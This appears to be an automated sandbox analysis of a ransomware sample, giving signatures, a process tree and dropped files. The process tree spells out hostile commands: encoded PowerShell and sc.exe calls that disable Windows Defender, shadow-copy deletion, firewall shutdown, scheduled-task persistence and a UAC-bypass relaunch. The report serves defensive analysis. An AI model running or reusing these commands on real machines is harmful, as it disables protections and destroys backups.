Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/07/2026, 01:42

General

  • Target
    2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260723-b4rxvsfa59
  • SHA256 ad39c4b0f60b75bc3894f05abf57ea48482b4e4501f60c0816dd0b751e8a55b8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5320
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4812
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2460
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5588
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:708
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3768
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5620
      • C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:5748
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3780
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1208
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2648
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5848
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:1676
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1220
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4512
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3268
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1416
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4928
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5196
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:5124
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5636
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:3096
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3812
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:560
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5960
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:5232
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:864
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:5100
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2644
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3352
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:3248
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4712
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:3472
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:2192
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3906855 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4544
          • C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe
            C:\Users\Admin\AppData\Local\Temp\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe
            1⤵
              PID:4904
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5072

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  invoice_1.pdf

                  • Path C:\ProgramData\invoice_1.pdf
                  • Size 66KB
                  • SHA256 263a6d443e0d212059b150f0e513da8b0082a7e9463374484b655bcf1049acdc
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  doc_3.pdf

                  • Path C:\SystemVolumeInformation\doc_3.pdf
                  • Size 66KB
                  • SHA256 9787a2eba0370809ab5eb1dcd64c731559c56352bd8e0d07f7b6a67dc6e66afa
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-07-22_94086b97e0201047d7211d7745d20717_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                  • Size 660B
                  • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_d4mdxsl3.aom.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4mdxsl3.aom.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  createshortcut.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                  • Size 309B
                  • SHA256 d097fc4173dc6776964ac1616f5d436fa3fa43f372ab23a578fc9e63e67c8d0a
                  • MD5 SHA1 SHA512 TLSH

                  del.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                  • Size 59B
                  • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                  • MD5 SHA1 SHA512 TLSH

                  makelnk.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                  • Size 310B
                  • SHA256 85d6cfcad2bb724525cc987aeea5216a76ef4211b041eff02db5a4bf82141301
                  • MD5 SHA1 SHA512 TLSH

                  sysupdate.exe

                  • Path C:\Windows\System32\sysupdate.exe
                  • Size 49KB
                  • SHA256 ad39c4b0f60b75bc3894f05abf57ea48482b4e4501f60c0816dd0b751e8a55b8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/864-2241-0x0000022F2F4D0000-0x0000022F2F4D1000-memory.dmp

                  memory/4628-3-0x000000001E7F0000-0x000000001ED18000-memory.dmp

                  memory/4628-0-0x0000000000A20000-0x0000000000A32000-memory.dmp

                  memory/4628-2-0x000000001E580000-0x000000001E742000-memory.dmp

                  memory/4628-1-0x000000001B5A0000-0x000000001B5B0000-memory.dmp

                  memory/4628-2252-0x000000001B5A0000-0x000000001B5B0000-memory.dmp

                  memory/5320-1159-0x000001F170040000-0x000001F170062000-memory.dmp